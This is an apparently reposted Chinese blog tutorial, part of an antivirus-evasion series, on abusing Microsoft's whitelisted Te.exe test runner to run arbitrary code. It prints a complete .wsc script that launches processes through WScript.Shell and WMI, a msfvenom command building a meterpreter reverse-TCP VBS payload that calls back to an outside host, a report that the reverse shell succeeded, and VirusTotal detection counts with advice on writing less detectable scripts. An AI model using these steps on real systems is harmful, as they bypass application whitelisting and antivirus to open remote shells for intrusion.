【免杀篇】远控免杀专题(61)-白名单Te.exe执行payload


当你的才华

还撑不起你的野心时

那你就应该静下心来学习


目录

0x01 Te.exe介绍

0x02 使用Te.exe执行系统命令

0x03 利用Te.exe执行payload(VT查杀率23/57)


0x01 Te.exe介绍

如果安装了TAEF(Test Authoring and Execution Framework)框架并且位于列入白名单的路径中,则可以使用它,需要在计算机上安装Visual Studio和WDK。

微软官方文档:https://docs.microsoft.com/en-us/windows-hardware/drivers/taef/

默认安装位置:

C:\ program files(x86)\Windows Kits\10\testing\Runtimes\TAEF

使用脚本语言编写测试,Windows仅支持JScript和VBScript。

0x02 使用Te.exe执行系统命令

直接使用github上编写好的.wsc文件,执行calc.exe弹出计算机。https://gist.github.com/N3mes1s/5b75a4cd6aa4d41bb742acace2c8ab42#file-datadriventest-wsc

<?xml version="1.0" ?>
<!-- Te.exe DataDrivenTest.wsc                                                                  -->
<!-- C:\Program Files (x86)\Windows Kits\10\Testing\Runtimes\TAEF > ./TE.exe DataDrivenTest.wsc -->
<!-- Test Authoring and Execution Framework v5.8k for x64                                       -->
<!-- StartGroup: VBSampleTests::TestOne                                                         -->
<!-- Calling TestOne                                                                            -->
<!-- EndGroup: VBSampleTests::TestOne [Passed]                                                  -->
<!-- Summary: Total=1, Passed=1, Failed=0, Blocked=0, Not Run=0, Skipped=0                      -->
<?component error="true" debug="true"?>
<package>
    <ModuleProperty name="Owner" value="Someone"/>
    <component id="VBSampleTests">
        <object id="Log" progid="WEX.Logger.Log" />
        <reference guid="e65ef678-a232-42a7-8a36-63108d719f31" version="1.0"/>
        <TestClassProperty name="DocumentationUrl" value="http://shelltestkb/"/>
        <public>
            <method name="TestOne">
                <TestMethodProperty name="Priority" value="1"/>
            </method>
       </public>

        <script language="VBScript">
            <![CDATA[
                Function TestOne()
                    Log.Comment("Calling TestOne")
                    CreateObject("WScript.Shell").Run("cmd.exe")
                    strComputer = "."
                    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
                    objWMIService.Create "calc.exe", null, null, intProcessID
                    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
                    Set colMonitoredProcesses = objWMIService.ExecNotificationQuery _
                        ("Select * From __InstanceDeletionEvent Within 1 Where TargetInstance ISA 'Win32_Process'")
                    Do Until i = 1
                        Set objLatestProcess = colMonitoredProcesses.NextEvent
                        If objLatestProcess.TargetInstance.ProcessID = intProcessID Then
                            i = 1
                        End If
                    Loop
                End Function
            ]]>
        </script>
    </component>
</package>

可以替换calc.exe为自己想要执行的命令,比如执行系统powershell命令等等。

0x03 利用Te.exe执行payload(VT查杀率23/57)

使用msfvenom生成反弹vbs payload。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.100.207 lport=4444 EXITFUNC=thread -f vbs --platform win > test.vbs

替换.wsc文件

执行修改后的.wsc文件。

反弹成功。

打开杀软进行测试,当执行.wsc文件时会报毒,主要是msf生成的payload特征太明显了,可以根据自己的需求编写自己的vbs脚本。

vt查杀率27/57 

参考链接:

https://gist.github.com/N3mes1s/5b75a4cd6aa4d41bb742acace2c8ab42https://twitter.com/gN3mes1s/status/927792345378099200https://docs.microsoft.com/en-us/windows-hardware/drivers/taef/overview-of-executing-tests


虽然我们生活在阴沟里,但依然有人仰望星空!


猜你喜欢

转载自blog.csdn.net/God_XiangYu/article/details/106113709